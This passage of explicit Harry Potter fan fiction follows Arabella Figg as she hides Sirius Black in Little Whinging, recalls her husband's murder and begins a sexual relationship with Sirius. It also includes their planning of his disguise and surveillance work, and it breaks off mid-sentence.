now. Have you spoken with anyone?&#8221;</i></p>\n\n<p><i>&#8220;Why? What happened?&#8221; she asked with great dread in her voice.</i></p>\n\n<p><i>&#8220;It&#8217;s your husband. Robert was killed. The Dark Mark was over your house.&#8221;</i></p>\n\n<p><i>&#8220;NOOOOOOOOOOOOOOOO!!!!!&#8221;</i></p>\n\n<p></p>\n\n<p>Arabella heard the water from the potatoes boiling over on the stove. She quickly went over and shut off the flame. She tested the potatoes and they were done. She drained the water and then directed her wand to a potato masher to mash them in the pan.</p>\n\n<p></p>\n\n<p><i>Sirius was knocking on the Potters&#8217; door. Lily answered and looked surprised to see them.</i></p>\n\n<p><i>&#8220;Arabella, Sirius. What brings you here at this time of night?&#8221;</i></p>\n\n<p><i>Sirius was supporting Arabella. &#8220;It&#8217;s Robert. He was murdered tonight.&#8221;</i></p>\n\n<p><i>Lily opened her arms and gave a strong embrace to Arabella. &#8220;Please come in. You will stay with us tonight.&#8221; She then turned to Sirius, &#8220;Go get James, he&#8217;s in the nursery.&#8221; </i></p>\n\n<p><i>Lily walked Arabella over to the couch.</i></p>\n\n<p><i>&#8220;I wasn&#8217;t there Lily. I know that it was meant for me, not Robert! I was supposed to be home for dinner, but I followed up on a hunch and&#8230;&#8221; she stammered.</i></p>\n\n<p><i>Sirius walked back in the room with James. &#8220;And you saved my life. Arabella, if you had been home then maybe you, Robert and I would all be dead. Would that be better?&#8221;</i></p>\n\n<p><i>&#8220;No, but&#8230;&#8221; She broke down in sobs.</i></p>\n\n<p><i>Lily stroked Arabella&#8217;s hair. &#8220;You need to try to calm down. I know it&#8217;s hard because you and Robert shared such a strong love for each other, but right now you&#8217;re going to have to stop thinking of yourself and think of your baby.&#8221;</i></p>\n\n<p><i>&#8220;Baby?&#8221; Sirius looked at Lily and James.</i></p>\n\n<p><i>Lily nodded, &#8220;Yes, she&#8217;s almost five months pregnant.&#8221; She then raised Arabella&#8217;s chin up and looked her in the eye. &#8220;Everything you feel, your baby feels. You have to try and stay as calm as you can otherwise it&#8217;ll hurt your little one.&#8221;</i></p>\n\n<p><i>Arabella nodded but the tears continued to stream down her face.</i></p>\n\n<p><i>James turned to Sirius, &#8220;Who&#8217;s leading the inquiry at the Ministry?&#8221;</i></p>\n\n<p><i>&#8220;Moody.&#8221;</i></p>\n\n<p><i>James nodded, &#8220;That&#8217;s good. At least they have someone competent in charge.&#8221;</i></p>\n\n<p><i>Arabella then looked up, &#8220;We&#8217;ll have to put a note on the outside of the Apothecary that it&#8217;ll be closed until further notice.&#8221;</i></p>\n\n<p><i>&#8220;Don&#8217;t worry,&#8221; said Lily. &#8220;We&#8217;ll take care of that. Now why don&#8217;t you come with me, I&#8217;ll start a pot of tea. Later I&#8217;ll find you a nightgown and you&#8217;ll sleep in our guest room. James, why don&#8217;t you get some blankets so Sirius can sleep on the couch. I think she&#8217;s going to need all of our support in the morning.&#8221;</i></p>\n\n<p></p>\n\n<p>Lily, James and Sirius had been so supportive to her during those dark days, Arabella reflected. They truly were dear friends. The Potters&#8217; deaths were as much a shock to her as was her husband&#8217;s. Dumbledore thought she was the perfect candidate to provide security for the orphaned Harry. The position did allow her autonomy and privacy, but it was also very isolating. She had purposefully lost contact with all of her friends and relatives in the Wizarding World. Here she was in a neighbourhood where she was constantly on the lookout for any suspicious people or activities. She longed for contact with those she could confide in, laugh with and share her true self and feelings with. Tonight&#8217;s dinner with Sirius would do wonders towards filling that tremendous void in her life.</p>\n\n<p>Now she looked around the kitchen and it seemed that all was ready. She merely needed to put the meat pie and apple crisp in the oven and let them bake. The salad was made and chilling in the refrigerator, the table was set for two with candles and flowers. Arabella turned to the three cats that were in her living room. She told them that she&#8217;d appreciate it if they&#8217;d stand guard outside the house this evening and to pass the word on to the other sentries. If there were any signs of dark magic in the neighbourhood that she&#8217;d need their reports, otherwise to please not disturb her. To anyone else it would have sounded like she was simply meowing at them. They then turned and went through the cat door. She&#8217;d now go back and see how Sirius was doing.</p>\n\n<p>Arabella heard the bathtub draining. She knocked on the door and said, &#8220;Please don&#8217;t try to wear those horrible rags again. I&#8217;ve got some nice clothes here for you to try.&#8221;</p>\n\n<p>&#8220;Come on in.&#8221;</p>\n\n<p>Arabella nervously entered the bathroom. Sirius was standing at the sink shaving and was wearing only a bath towel wrapped around his waist. He was thin, but muscular. His long hair reached the middle of his back and there was facial hair lining the sink in a thick blanket. He looked at her and smiled. &#8220;You look much better. More like how I remember you.&#8221;</p>\n\n<p>Arabella blushed and felt a warmth spread throughout her body.</p>\n\n<p>Sirius then turned back to the mirror and took one hand and felt his smooth cheeks. &#8220;What do you think? You like this moustache?&#8221;</p>\n\n<p>&#8220;It needs a little trim. Here&#8217;s some scissors. I&#8217;ll be right back with a chair so I can cut your hair.&#8221;</p>\n\n<p>Arabella hung the clothes on the back of the door on a hook and slowly walked out to retrieve a chair. Her heart was beating hard. Sirius looked so attractive. She didn&#8217;t know if she&#8217;d be able to resist his charms. Then again she thought, she wasn&#8217;t sure if she wanted to either. She walked back into the bathroom and set the chair in the middle of the floor.</p>\n\n<p>&#8220;Have a seat,&#8221; she announced.</p>\n\n<p>Sirius sat down and Arabella started to cut his long hair from the back. Snip. A foot of hair fell to the floor. Snip, snip. More long and stringy clumps of hair fell onto the tile. She then used the comb and started to cut closer to his head. She wanted a short hairstyle for him. One that would befit an everyday working class Muggle. As the hair fell down on his shoulders, Arabella would find herself brushing it off onto the floor. When her fingers touched his shoulders she found they felt like they tingled with electricity.</p>\n\n<p>Arabella started to chat as she continued to cut his hair, &#8220;We&#8217;ll have to come up with a good cover for you to stay here while I&#8217;m gone. I&#8217;m thinking that I should say that I&#8217;m visiting a sister I haven&#8217;t spoken to in twenty years. She lives in <st1:country-region><st1:place>Scotland</st1:place></st1:country-region> and has terminal cancer. I&#8217;m going to help her manage in her last few months and then help to set her affairs in order after she&#8217;s gone.&#8221; </p>\n\n<p>Sirius agreed. &#8220;That sounds reasonable and no one will really be able to quibble about how long you&#8217;ll be. As long as it takes. I like it.&#8221;</p>\n\n<p>Arabella beamed. She was glad that Sirius thought it was a good cover. &#8220;And as for you, I think you&#8217;ll be a nephew on my late husband&#8217;s side. You&#8217;ll be house sitting while I&#8217;m gone.&#8221;</p>\n\n<p>&#8220;That sounds plausible enough.&#8221;</p>\n\n<p>&#8220;Yes, but I also want you to have the same name for both the Muggle world as well as the Wizarding World. It makes it far easier in case there&#8217;s a witch or wizard passing as Muggle &#8211; and I think to help in your disguise we need to do a little more than just a shave and haircut.&#8221;</p>\n\n<blockquote>&#8220;What did you have in mind?&#8221; Sirius asked. </blockquote>\n\n<p>&#8220;I think you&#8217;ll need to age to be in your fifties and we&#8217;ll get you some nice Muggle contact lenses for your eyes. They can change the colour to brown. I also think you need to learn an Australian accent,&#8221; Arabella answered.</p>\n\n<p>&#8220;You&#8217;re the boss. So what am I supposed to do for a job? Don&#8217;t all Muggles have jobs?&#8221; Sirius asked.</p>\n\n<p>&#8220;Hmm,&#8221; she mused. &#8220;You could be a writer who works from home. You will have to figure out how to deal with Nadine Henderson across the street though.&#8221;</p>\n\n<p>&#8220;Who&#8217;s she?&#8221;</p>\n\n<p>&#8220;A single mother in her thirties with a small daughter. She looks at any man who&#8217;s not behind bars or mentally incompetent as a potential future husband. That includes married men, I&#8217;m afraid. She&#8217;ll be drooling the moment she sees you.&#8221;</p>\n\n<p>Sirius thought for a moment. &#8220;Well, I&#8217;ll deal with her. I&#8217;m not about to make any stupid mistakes like I did in my youth. I never truly thanked you for saving my life and for telling me the truth about how foolish I was. Thinking back, I realize that I was fearful of ever letting myself fall in love with someone. I was afraid of being rejected once someone knew who I really was. So I&#8217;d cut them loose first and never allow anyone to really get close to me. That is except for you, James and Lily.&#8221;</p>\n\n<p>Arabella had to stop cutting hair for a moment because her eyes welled with tears. &#8220;Thank you, Sirius. That means a lot to me.&#8221;</p>\n\n<p>&#8220;I&#8217;ll just tell Nadine, that I&#8217;m watching this house as a favour for my aunt. That I am married to a wonderful woman, but that we are currently separated. That our relationship has spanned many years and right now she&#8217;s trying to sort out a lot of problems from her youth that she&#8217;s never adequately dealt with. That I will wait for her for as long as it takes and I would do nothing to harm her in any way. Think that&#8217;ll work?&#8221;</p>\n\n<p>&#8220;It does for me.&#8221; </p>\n\n<p>Arabella then turned to cut his hair in the front of his face. This was far harder as she felt Sirius&#8217;s eyes on her. She could also feel his breath on her face. She found her heart beating faster. As she was finishing up and surveying his haircut, Sirius reached up and pulled at the hairpins holding Arabella&#8217;s hair on the top of her head. As the pins were released, her hair cascaded down over her shoulders and fell past her waist. </p>\n\n<p>Sirius gave a warm smile as he helped to smooth her hair over her shoulders. &#8220;That&#8217;s better. That&#8217;s the way I remember you. I always loved your hair.&#8221;</p>\n\n<p>Arabella looked into his blue-gray eyes. They were smiling at her and then they changed. She saw a hunger and a longing that she recognized.</p>\n\n<p>&#8220;Bella&#8230;&#8221; Sirius whispered, stroking the side of her face. </p>\n\n<p>Arabella leaned forward and kissed him. Their lips touched and she felt like she was on fire. The kiss was deep and their tongues met causing her to melt into his arms as he pulled her close to his chest. His arms swept her legs onto his lap. Arabella dropped the comb and scissors onto the floor and heard them clatter as they hit the tile. Her hands were running through his hair. Sirius slowly unzipped the back of her dress and unsnapped her bra. He then slipped the right shoulder of her dress down exposing a breast. He slid his lips down her neck and then started to lick and kiss her nipple. Arabella&#8217;s breathing slowed down. Sirius then took his hand and placed it under the hem of her dress and slowly moved it upwards towards the juncture between her thighs and gently groped it. Arabella uttered a low moan and then took her right hand and placed it under her legs. She found the gap in the towel and then squeezed his erection. Sirius groaned with pleasure.</p>\n\n<p>Arabella released him and stood. She took Sirius by the hand and they walked across the hall to her bedroom. The towel fell on the floor. She pulled back the covers to the bed and Sirius helped remove her clothing. They fell on the bed and found their hands roaming over each other&#8217;s bodies. Their legs were entwined and as Sirius entered her, they both gasped. Their lovemaking was frenzied. It was as if the world was going to end in five minutes and they needed to make each second count. When it was over they were both panting and drenched in sweat.</p>\n\n<p>Sirius tried to think of something to say but didn&#8217;t know what was appropriate. Instead he simply started to kiss her cheeks, her forehead, her eyes and then her lips. He didn&#8217;t want this moment to ever end. Arabella felt tears rolling down her cheeks. She had never felt so loved and so complete. Not even with Robert. She was going to be certain that nothing happened to Sirius. She was never going to lose someone she loved again.</p>\n\n<p>&#8220;I think our dinner is ready,&#8221; Arabella said quietly.</p>\n\n<p>&#8220;Mmm, I did work up an appetite,&#8221; Sirius said lewdly.</p>\n\n<p>&#8220;Yeah, well, so did I. Let&#8217;s go eat before the dinner burns in the oven.&#8221;</p>\n\n<p>They threw on some bathrobes and then Arabella glanced around. &#8220;Maybe we ought to clean up the bathroom a little.&#8221;</p>\n\n<p>They walked in and saw his long black hair everywhere.</p>\n\n<p>&#8220;My God, it looks like a bear shed in here,&#8221; she laughed as she picked up his tattered robes. She then pointed her wand at the largest piles of hair and commanded, &#8220;Accio!&#8221; The hair flew to her. She repeated this by waving her wand in every direction around the room, the sink and the bathtub. She placed the clumps of hair on the robes and then went back to the bedroom and collected the hair that was in her bed. She took the whole mess with her to the living room and placed it in the fireplace. She opened the flue and commanded, &#8220;Incendio!&#8221; Flames appeared and consumed the hair and clothes in a matter of seconds.</p>\n\n<p>&#8220;Ugggh! There&#8217;s nothing quite like the smell of burning hair,&#8221; said Sirius. When the flames died down Arabella closed the flue again.</p>\n\n<p>&#8220;Come on, it&#8217;ll smell much nicer in the kitchen,&#8221; as Arabella took him by the arm.</p>\n\n<p>As they walked inside Sirius began to beam. &#8220;The table looks wonderful and it smells incredible. Is that Shepherd&#8217;s pie and&#8230;&#8221; he sniffed, &#8220;baked apples?&#8221;</p>\n\n<p>Arabella smiled and nodded.</p>\n\n<p>&#8220;Those are my favourites, thank you.&#8221; Sirius picked her up and twirled her about the room. He gave her a kiss and set her down. She blushed and waved her wand to open the oven door and bring the meat pie to rest on a hot plate at the table. The apple crisp went to rest on the top of the stove to cool. She then waved the oven to turn itself off.</p>\n\n<p>After Arabella dished out the food for both of them, she turned to him and sighed heavily, &#8220;Okay, I guess it&#8217;s time for you to tell me what I don&#8217;t want to hear. Tell me how Voldemort came back and what has happened to Harry.&#8221;</p>\n\n<p>Over dinner he told her about the fateful evening of the Third Task of the Triwizard Tournament and all the terrible events that transpired that night and all the planning by Voldemort that had led up to it. When Sirius told her how the Minister of Magic Cornelius Fudge allowed a dementor to administer a Kiss to Crouch, Jr. and how he then refused to believe Harry&#8217;s testimony about Voldemort&#8217;s return, Arabella grew visibly upset.</p>\n\n<p>&#8220;I don&#8217;t trust Fudge. Never have,&#8221; she spat bitterly. &#8220;When I was still at the Ministry and we were both in the Magical Law Enforcement Squad, he always seemed to bungle cases that he should have been able to handle. Somehow or other there would always be an excuse such as insufficient evidence, especially when it was people like Lucius Malfoy who were under suspicion. Other times cases would seem to just fall completely solved into his lap without any apparent effort on his part. His ascent in the Ministry seemed to be on an accelerated course, even when others with better records should have been promoted before him. I found it very curious at the time.&#8221;</p>\n\n<p>&#8220;Do you think he&#8217;s a Death Eater?&#8221; asked Sirius.</p>\n\n<p>&#8220;No. I don&#8217;t think he cavorts around in costume wearing a mask,&#8221; replied Arabella. &#8220;But I do think he&#8217;s corrupt. I think he was a collaborator and probably a spy for them. I think Voldemort used Fudge to put away those who betrayed him and to send a message to those who were wavering in their support. I think Fudge has skeletons buried in his backyard and had Crouch eliminated before he himself was implicated and someone decided to start digging in sensitive areas.&#8221;</p>\n\n<p>She looked Sirius straight in the eye. &#8220;You represent a very real threat to him. In order to clear your name we will need to capture Pettigrew and the political fallout of his actions in your case will cost Fudge his job. He&#8217;ll do anything to prevent that from happening.&#8221; She shook her head. &#8220;Damn! I should have questioned the story more closely about your guilt since it was <i>Fudge</i> handling the case. I should have&#8230;&#8221;<i></i></p>\n\n<p>Sirius took one of her hands and held it in his. &#8220;You&#8217;ve tortured yourself enough with the past. Let&#8217;s just concentrate on how best to deal with the challenges that are before us. And there are many of those.&#8221;</p>\n\n<p>&#8220;You&#8217;re right,&#8221; she sighed. &#8220;Who else did Dumbledore ask you to notify about this news?&#8221;</p>\n\n<p>&#8220;I&#8217;ve told Remus Lupin and now you. I&#8217;m supposed to contact Mundungus Fletcher next.&#8221;</p>\n\n<p>&#8220;Good. We can take care of that tomorrow,&#8221; she said smiling. &#8220;Fletcher relieves me periodically when I have to leave my post for any extended period of time. He can&#8217;t communicate with the Kneazles, but he can at least respond and cast spells if the monitors show dangerous activity in the neighbourhood. Tomorrow, I&#8217;ll need to show you around Little Whinging, get you some coloured contact lenses, pick up some supplies, and so forth. I&#8217;ll also have to set up an appointment to meet with Dumbledore to find out what he expects of me as an instructor, like required textbooks, areas to cover for the different years, that type of thing. We will also one day need to go to Diagon Alley to pick up Harry&#8217;s supplies for next year and&#8230;get you a new wand.&#8221; </p>\n\n<p>&#8220;You think of everything, don&#8217;t you?&#8221; said Sirius. &#8220;Have you thought of how I&#8217;m going to fool Mr. Ollivander and get a new wand?&#8221;</p>\n\n<p>&#8220;We&#8217;ll have to make sure he&#8217;s away from his store at the time. I&#8217;ll see if Dumbledore can help arrange that.&#8221; She started to drum her fingers on the table. &#8220;I also want to ask him about this summer and Harry. I think he should spend as much time with us as possible. He needs guidance, support and any tutoring we can give him.&#8221;</p>\n\n<p>Arabella looked at the table. There was only about a spoonful or so left of the apple crisp, otherwise it was all gone. Sirius had eaten three helpings of everything. She was pleased with that and hoped that he would soon stop being undernourished. She waved her wand at the dishes on the table and they went into the sink where they magically started to wash themselves. Minutes later everything was cleaned and put away.</p>\n\n<p>&#8220;I was thinking&#8230;&#8221; Arabella said in a sly voice.</p>\n\n<p>&#8220;Yesssss,&#8221; Sirius drawled in reply.</p>\n\n<p>&#8220;That I&#8217;m still covered with sweat from earlier and I thought a nice warm bath sounded nice,&#8221; she said with a twinkle in her eye. &#8220;Care to join me?&#8221;</p>\n\n<p>&#8220;Absolutely,&#8221; he said as he rose from the table.</p>\n\n<p>Sirius followed Arabella into the bathroom where she started to prepare the bath. She started the water running and poured in a generous amount of bubble bath, she waved her wand to extend the bath sideways to better accommodate both of them, and placed two dozen candles around the room. &#8220;Incendio!&#8221; they were all lit and she turned the electric lights out. The warm glow from the candles danced about the room. She then conjured soft pillows for their heads in the bathtub and laid out two fluffy towels on a chair.</p>\n\n<p>&#8220;I know you prefer my hair down, but I&#8217;d like to put up so it doesn&#8217;t get all wet in the bath. I&#8217;ll wash it in the morning,&#8221; Arabella said as she quickly wound her long hair into a loose knot on her head.</p>\n\n<p>Sirius then came up from behind her and kissed the nape of her neck. He gently untied her bathrobe and started to run his hands down her body. She turned around and opened his bathrobe and pulled it off him. Her bathrobe gently fell to the floor and they both stepped into the bathtub. Sirius leaned his head against the pillows and then pulled Arabella to lean her back against his chest. He nibbled an earlobe as he took a sponge and tenderly washed her bosoms.</p>\n\n<p>&#8220;Hmmm, you do know how to make a woman feel desirable,&#8221; she murmured.</p>\n\n<p>Sirius shifted her slightly so that he could look her in the face. &#8220;You are by far the most desirable woman I have ever known in my life. I am hopelessly in love with you. I have never felt as connected &#8211; heart, body and soul to anyone as I do for you. I want you to know that I will never do anything to hurt you.&#8221;</p>\n\n<p>She smiled and nodded softly. He kissed her on the forehead and said, &#8220;I had no idea what to expect in seeing you today. All I was hoping for was that you wouldn&#8217;t hex me.&#8221;</p>\n\n<p>&#8220;I came close,&#8221; she chuckled.</p>\n\n<p>&#8220;I certainly didn&#8217;t expect this and I feel overwhelmed by your love and passion,&#8221; he said.</p>\n\n<p>&#8220;Same here. I had no idea this morning that by nightfall I would be here with you,&#8221; she said as she gestured about the bath.</p>\n\n<p>Sirius then cleared his throat, &#8220;In my younger days, I was always prepared and took precautions&#8230;so that no woman would have to worry.&#8221;</p>\n\n<p>Arabella started laughing hoarsely, &#8220;Sirius, are you worried about me getting pregnant? I haven&#8217;t ovulated in years. My ovaries have been stuck in an eighty-year old woman&#8217;s body. I don&#8217;t even know if I&#8217;ll ever go through menopause or if I&#8217;ve just leapfrogged past it.&#8221; Then her voice softened. &#8220;I long since gave up any hope of being a mother when I miscarried. Being isolated here for so long, I also gave up on love. And as of right now, I&#8217;m beginning to hope again. I would welcome any chance I could to become a mother and nothing, nothing would make me happier than to bear your child.&#8221;</p>\n\n<p>Their eyes locked for moment and then they both had tears welling up in their eyes. Sirius pulled her close to his chest and kissed the top of her head and sighed heavily. Then the emotion came over him and he quietly choked back tears while she held him tightly. She softly whispered, &#8220;Sirius, I love you with all my heart and soul.&#8221;</p>\n\n<p>Sirius started to tell her about the horrors of Azkaban and his struggle with living two years as a fugitive. Fourteen years of repressing his pain and suffering came bubbling to the surface. He told her of the depression he had felt and the times he had almost considered suicide to end his pain, except that the thought of Harry Potter&#8217;s safety kept him from ever going through with it. Arabella held and comforted him while he poured his heart out to her. By the time he was finished talking, the water had gone cold and the candles had almost burned themselves out.</p>\n\n<p>After a notable silence, Arabella broke their embrace and looked directly at Sirius. &#8220;I think we should get ready for bed. I have a few things that I need to do first. One of which is feed my cats.&#8221; She gave a sheepish look, &#8220;I kind of forgot about that little detail. Besides I&#8217;m feeling like a giant prune right now.&#8221;</p>\n\n<p>As they rose from the tub, Sirius handed her a towel. &#8220;Would you mind if I borrowed your wand for a few minutes? You&#8217;ve taken care of everything so far and I&#8217;d like to return the favour and give you a little surprise.&#8221;</p>\n\n<p>&#8220;Sure,&#8221; she said as she gave him a quick kiss on the lips.</p>\n\n<p>After drying themselves, they put their bathrobes back on. Arabella gave Sirius a new toothbrush and left him in the bathroom. She went to the kitchen to prepare the dinner for her cats. After placing their food in the dishes, she called them to eat. She then walked upstairs and opened a bedroom door. Inside was a room filled with strange looking machines. She turned to a long-haired white cat that was watching a monitor that had a schematic diagram of the neighbourhood.</p>\n\n<p>&#8220;Anything to report Snowy?&#8221; she asked.</p>\n\n<p>&#8220;All&#8217;s quiet,&#8221; he yowled back.</p>\n\n<p>&#8220;Dinner is ready. Thank you for pulling a longer shift. Tufty had a nap earlier. He should be fine to pull the overnight shift. Please go downstairs and send him here after he&#8217;s finished eating.&#8221;</p>\n\n<p>The cat stood, stretched and then walked silently out of the room. Arabella methodically checked all of the surveillance equipment. Within a few minutes an orange tabby cat sauntered into the room and leapt up on the chair that Snowy had been perched at. Arabella stroked the cat a few times and said, &#8220;Let me know if you see any Dark Magic or magic from humans tonight. Otherwise, I&#8217;ll see you in the morning.&#8221;</p>\n\n<p>She went back downstairs and went back to the bathroom. As she washed her face she looked carefully at her reflection in the mirror. She saw a contentment in her eyes that hadn&#8217;t been there in years. She sighed and allowed her mind to replay the lovemaking session earlier that day. That level of passion just couldn&#8217;t be sustained, it would kill them if they tried. After brushing her teeth, she brushed her hair and gave her reflection a quick smile. Let&#8217;s go see what he has in store for me now she thought. </p>\n\n<p>Sirius had moved all the candles from the bathroom and then magically restored their height. There was a heady smell of sandalwood incense that covered the room and he had discovered a compact disc player and the haunting sounds of Enya&#8217;s music played softly in the background. He had transfigured her sheets to being satin and had taken the flowers from the kitchen table and sprinkled rose petals all over the bed. Sirius took Arabella by the hand and they gently crawled onto the bed.</p>\n\n<p>He began kissing her tenderly on the mouth and then all around her face and neck. Then he moved to the bottom of the bed and started massaging her feet and slowly progressed up her legs. He massaged every portion of her body with a tenderness that amazed Arabella. When he massaged her inner thighs she groaned with pleasure. He then slowly worked his way up to her breasts. He started to knead them and then changed the touch to lightly tracing the outline of her nipples. He kissed, licked and suckled them while one of his hands carefully slipped between her legs. This caused her desire for him to become overwhelming. Arabella helped guide him inside of her. He slowly and rhythmically pleasured her. He took his time and allowed her to have numerous waves of ecstasy. By the time that he had reached his climax, they were covered once again in a light sheen of sweat.</p>\n\n<p>Afterwards they lay with their heads on their pillows gazing into each other&#8217;s eyes. Arabella broke their silence by saying, &#8220;I don&#8217;t think I could have survived if we had tried to repeat our earlier performance.&#8221;</p>\n\n<p>&#8220;Well that had been the product of our collective thirty years of pent-up sexual energy. I don&#8217;t ever want to be in that situation ever again.&#8221;</p>\n\n<p>&#8220;You also had fifteen years? But you were put in Azkaban fourteen years ago,&#8221; she asked slyly.</p>\n\n<p>&#8220;Well, after you saved my life I did take a sabbatical from dating. The scare of my almost dying may not have been enough, but when Robert was murdered that same night&#8230;the thought of trying to sweet talk women so that I could get them into bed just seemed so incredibly shallow. You were in such pain at that time, I wanted to be there for you,&#8221; he said stroking the side of her face. &#8220;You were so obsessed with finding his murderers that I knew I needed to watch over you.&#8221;</p>\n\n<p>&#8220;I know I was being difficult,&#8221; she nodded. &#8220;Lily kept warning me about what it was doing to my baby, but I just couldn&#8217;t leave it alone and let Moody be the only one following the case.&#8221;</p>\n\n<p>&#8220;I have never seen Moody so angry than the night he and Frank Longbottom killed Rosier and Wilkes. Mind you, I would have killed them myself and gone to Azkaban after they used the Cruciatus curse on you,&#8221; he said bitterly. &#8220;Moody and Longbottom were just quicker than I was. Since they were given permission by the Ministry to use the Unforgivable curses and I wasn&#8217;t &#8211; I was glad they were faster, but I would have killed them for you.&#8221;</p>\n\n<p>A tear slowly fell down Arabella&#8217;s cheek, &#8220;That was the darkest day of my life. Thank you for staying with me while I was being treated at St. Mungo&#8217;s. If you hadn&#8217;t been there to help me through it&#8230; I don&#8217;t know if I would have survived.&#8221; </p>\n\n<p>&#8220;I had to fight to be there. They felt that only immediate family could stay, but I prevailed. You didn&#8217;t have any immediate family left and I knew you shouldn&#8217;t be alone then. I insisted that as your partner I was as close as family,&#8221; he said softly. Sirius then smoothed the hair from her face. &#8220;It was then that I started falling in love with you. Here was this wonderfully strong and beautiful woman who needed me. I was afraid of ever disappointing you afterward. I don&#8217;t know if I would have ever acted on my feelings toward you, I was afraid&#8230;&#8221;</p>\n\n<p>She gave a rueful smile, &#8220;Afraid of how it might change our working relationship?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; he nodded.</p>\n\n<p>&#8220;Well, I know I wouldn&#8217;t have been ready then. It took me several years to finally come to terms with Robert&#8217;s murder and the loss of our child. I guess I don&#8217;t take the loss of loved ones very easily,&#8221; she said softly. &#8220;And when I thought you had betrayed James and Lily, I went into shock. I couldn&#8217;t believe that I had allowed myself to become emotionally dependent on someone who was evil. That&#8217;s what tormented me all these years. And today to find out that I had been right about you all along, I realized that I had fallen in love with you years ago but never admitted it to myself.&#8221;</p>\n\n<p>Sirius gently touched the side of her face, &#8220;You are an incredible woman. I feel like I&#8217;m the luckiest man in the world tonight.&#8221;</p>\n\n<p>&#8220;Even though you&#8217;re still a fugitive wanted for a crime you didn&#8217;t commit?&#8221;</p>\n\n<p>&#8220;Well, there&#8217;s still that&#8230;but tonight I&#8217;m in the arms of the woman that I love. A woman that I&#8217;ve loved for years. Right now, that&#8217;s all that I want to concentrate on,&#8221; as he leaned closer to her and kissed her fully on the mouth. Then he rested his head back on the pillow and she snuggled up with her head resting on his chest. She waved her wand to quickly snuff out all the candles and they quickly fell into blissful slumber. For the first time in years, Sirius was not haunted in his dreams by the dementors of Azkaban. Instead, he allowed himself to dream about a life with Arabella.</p>\n\n<p></p>\n\n<p>*</p>\n\n<p>The next morning she woke to see Sirius propped up on one elbow and gazing down at her. She smiled as she looked up at him. &#8220;I guess I didn&#8217;t just dream that I had a wonderful lover in bed with me.&#8221;</p>\n\n<p>He leaned over and started kissing her gently. Then his tongue started to probe her mouth while his hand started to softly trace the outline of her breast. Arabella broke the kiss, &#8220;As nice as it would be to start our day that way, I have to turn you down. We have a lot of work to do and we&#8217;ll just have to wait until this evening to continue.&#8221;</p>\n\n<p>Sirius looked at the clock, &#8220;But it&#8217;s only <st1:time hour="18" minute="0">six o&#8217;clock</st1:time> in the morning. That&#8217;s still very early&#8230;&#8221;</p>\n\n<p>Rolling her eyes and shaking her head, &#8220;What am I going to do with you? Come on and let&#8217;s get our day started.&#8221;</p>\n\n<p>Sirius smiled, &#8220;Well you can&#8217;t blame me for trying.&#8221;</p>\n\n<p>Arabella was getting out of bed and putting on her bathrobe. &#8220;You can stay there for a few minutes while I take my shower if you&#8217;d like. However, I do have a routine and you&#8217;re going to have to learn it since you&#8217;ll be taking over the surveillance here. I also know that we&#8217;re going to have many errands to do today and we&#8217;ll be lucky to get everything done before nightfall.&#8221;</p>\n\n<p>Sirius leaned back on his pillow and smiled at her. &#8220;My love, the take-charge lady. Sure you don&#8217;t want me to join you in that shower?&#8221;</p>\n\n<p>&#8220;No, because I think you&#8217;re going to be needing a cold shower,&#8221; she said as she playfully threw her pillow at him.</p>\n\n<p>Arabella started on her morning routine. Shower, dry and fix her hair, get dressed, put a pot of tea on the stove, listen to the Wireless Wizarding Network morning news, and get a report from the cat doing the overnight shift of surveillance in the control room. She also performed her daily disillusionment charm on the Kneazles so they appeared to Muggles as regular cats. Ordinarily she would also review the morning Muggle newspaper, but today she&#8217;d have to wait until later when she could resume the old lady appearance and retrieve the paper from her stoop. Sirius appeared in the kitchen dressed in the clothes she had set out for him the previous night. He looked incredibly handsome and Arabella gave him a warm hug and kiss.</p>\n\n<p>&#8220;It&#8217;s <st1:time hour="19" minute="0">seven o&#8217;clock</st1:time> now. Time for the aging potion,&#8221; she handed him a bottle of yellowish liquid. &#8220;Please place twenty drops under your tongue. One drop for every year.&#8221;</p>\n\n<p>&#8220;Twenty?&#8221; asked Sirius.</p>\n\n<p>&#8220;Yeah, it&#8217;ll be easier for you to remember that way. You need to find an age and stick with it.&#8221;</p>\n\n<p>&#8220;I thought you said you&#8217;ve been trapped in an eighty year old woman&#8217;s body for years?&#8221; he asked.</p>\n\n<p>&#8220;Well, I started out at seventy and progressed until I turned eighty. After that I decided that no one really pays that much attention as to how an old lady looks and I held steady after that. Hurry up and take it, I still need to take my dose,&#8221; she said urgently.</p>\n\n<p>Sirius took the dropper and carefully administered the drops. Arabella took the bottle from him and quickly placed the drops under her tongue. Instantly they both began to age. Sirius started to go gray around the temples and crow&#8217;s feet began to form around his eyes. Arabella continued to age long after he had finished aging. Her shoulders shrunk, her hair was all white, and she had wrinkles all over her face. She placed her spectacles upon her face and nodded at her reflection in a hand held mirror. She then handed the mirror to Sirius. He looked surprised to see the face looking back.</p>\n\n<p>&#8220;Wow. I do look different. I mean I see the similarity, but&#8230;&#8221;</p>\n\n<p>&#8220;Yes, and how is your vision? Has it deteriorated at all?&#8221;</p>\n\n<p>Sirius looked across the house to the far living room wall and shook his head. &#8220;Nope I can still make out things far away.&#8221;</p>\n\n<p>Arabella handed him yesterday&#8217;s paper, &#8220;Try reading this.&#8221;</p>\n\n<p>Sirius started to look at the paper and then found himself moving it farther and farther away. &#8220;Okay, so my vision has changed.&#8221;</p>\n\n<p>&#8220;Good. That way getting you contact lenses will serve a dual purpose. But right now we need to do our morning surveillance of the neighbourhood. You will need to take off that robe &#8211; it&#8217;s not Mugglewear. And I&#8217;ve got a pair of sandals for you near the door. We&#8217;ll transfigure them to fit your feet. That&#8217;ll have to do until we can go shopping later today and get you some new clothes and shoes.&#8221; She then handed him a pair of dark sunglasses. &#8220;Please put these on. I don&#8217;t want anyone seeing the colour of your eyes before we get you some contacts.&#8221;</p>\n\n<p>&#8220;How long does this potion last?&#8221;</p>\n\n<p>&#8220;Twenty-four hours. I take it every morning at the same time. That way my body became adjusted to the change. It is very difficult on your body to change back and forth.&#8221; She then read the expression on his face. &#8220;Don&#8217;t worry, I&#8217;ll willingly endure any discomfort for the next two months so you&#8217;ll have a lover by nighttime who&#8217;s not an octogenarian.&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; he said bemusedly.</p>\n\n<p>&#8220;But I think you should try to get adjusted to your new age. You look gorgeous to me whether you&#8217;re thirty-five or fifty-five. It won&#8217;t matter to me.&#8221; Arabella walked to the front door and then turned as if she forgot something, &#8220;If we run into any of the neighbours, please follow my lead. Oh and I&#8217;ve thought of a name for 